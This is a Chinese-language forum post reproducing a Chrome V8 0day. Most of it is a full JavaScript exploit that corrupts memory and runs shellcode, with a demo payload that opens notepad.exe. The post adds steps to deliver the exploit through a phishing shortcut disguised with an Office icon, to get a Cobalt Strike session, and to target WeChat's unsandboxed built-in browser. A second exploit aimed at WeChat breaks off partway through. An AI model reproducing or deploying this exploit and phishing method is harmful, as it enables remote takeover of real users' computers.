標題:Chrome 0Day 復現與思考

taibeihacker

Moderator

Chrome 0Day 复现与思考​

1 漏洞复现​

HW 期間爆出了Chrome 0Day,復現一手。
彈記事本的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
script
function gc() {
for (var i=0; i0x80000; ++i) {
var a=new ArrayBuffer();
}
}
let shellcode=[0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,
0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,
0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,
0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,
0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,
0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,
0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,
0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,
0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,
0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,
0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,0x01,0x01,0x00,0x00,0x41,0xBA,0x31,0x8B,
0x6F,0x87,0xFF,0xD5,0xBB,0xF0,0xB5,0xA2,0x56,0x41,0xBA,0xA6,0x95,0xBD,0x9D,0xFF,
0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,
0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,0xDA,0xFF,0xD5,0x6E,0x6F,0x74,0x65,0x70,
0x61,0x64,0x2E,0x65,0x78,0x65,0x00];
var wasmCode=new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule=new WebAssembly.Module(wasmCode);
var wasmInstance=new WebAssembly.Instance(wasmModule);
var main=wasmInstance.exports.main;
var bf=new ArrayBuffer(8);
var bfView=new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot=0xb33f;
}
}
function foo(a) {
let x=-1;
if (a) x=0xFFFFFFFF;
var arr=new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr=Array(2);
local_arr[0]=5.1;//4014666666666666
let buff=new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0]=0x1122;
return [arr, local_arr, buff];
}
for (var i=0; i0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff]=foo(true);
corrput_arr[12]=0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4]=i2f(fLow(rwarr[4]), hi);
rwarr[5]=i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot=o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view=new DataView(corrupt_buff);
let corrupt_buffer_ptr_low=leakObjLow(corrupt_buff);
let idx0Addr=corrupt_buffer_ptr_low -0x10;
let baseAddr=(corrupt_buffer_ptr_low0xffff0000) - ((corrupt_buffer_ptr_low0xffff0000) %0x40000) +0x40000;
let delta=baseAddr +0x1c - idx0Addr;
if ((delta % 8)==0) {
let baseIdx=delta/8;
this.base=fLow(rwarr[baseIdx]);
} else {
let baseIdx=((delta - (delta % 8))/8);
this.base=fHi(rwarr[baseIdx]);
}
let wasmInsAddr=leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry=corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i=0; i shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode);
}
main();
/script
前提需要關閉Chrome 的沙盒模式:
20210415110756.png-water_print

執行POC.html:
20210415110926.png-water_print

快捷方式釣魚,換個Office 的圖標就可以:
20210415111158.png-water_print

CS 上線:
生成64 位的payload,並將格式轉換為:
20210415113232.png-water_print

執行POC,成功上線:
20210415113309.png-water_print

2 思考​

windows 微信客戶端下內置的Chrome 瀏覽器默認關閉沙箱模式,但是是32 位的,如果有針對32 位的payload,就可以利用win 下的客戶端進行釣魚。

3 后续补充​

windows 微信客戶端payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
ENABLE_LOG=true;
IN_WORKER=true;
//input your shellcode
var shellcode=[0x00,0x00];
function print(data) {
}
var not_optimised_out=0;
var target_function=(function (value) {
if (value==0xdecaf0) {
not_optimised_out +=1;
}
not_optimised_out +=1;
not_optimised_out |=0xff;
not_optimised_out *=12;
});
for (var i=0; i0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount=17 * 87481 - 8;
var tDerivedNDepth=19 * 19;
function cb(flag) {
if (flag==true) {
return;
}
g_array=new Array(0);
g_array[0]=0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i=0; i0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_=this;
this.buffer=null;
this.buffer_view=null;
this.page_buffer=null;
this.page_view=null;
this.prevent_opt=[];
var kSlotOffset=0x1f;
var kBackingStoreOffset=0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot=this;
}
}
this.page_buffer=new LeakArrayBuffer();
this.page_view=new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
//var array=null;
super(
//at this point, the 4-byte allocation for the JSRegExp `this` object
//has just happened.
{
toString: cb
}, 'g'
//now the runtime JSRegExp constructor is called, corrupting the
//JSArray.
);
//this allocation will now directly follow the FixedArray allocation
//made for `this.data`, which is where `array.elements` points to.
this_.buffer=new ArrayBuffer(0x80);
g_array[8]=this_.page_buffer;
}
}
//try{
var derived_n=eval(`(function derived_n(i) {
if (i==0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${'this.a=0;'.repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view=new DataView(this.buffer);
this.leakPtr=function (obj) {
this.page_buffer.slot=obj;
return this.buffer_view.getUint32(kSlotOffset, true,this.prevent_opt);
}
this.setPtr=function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true,this.prevent_opt);
}
this.read32=function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true,
 
返回
上方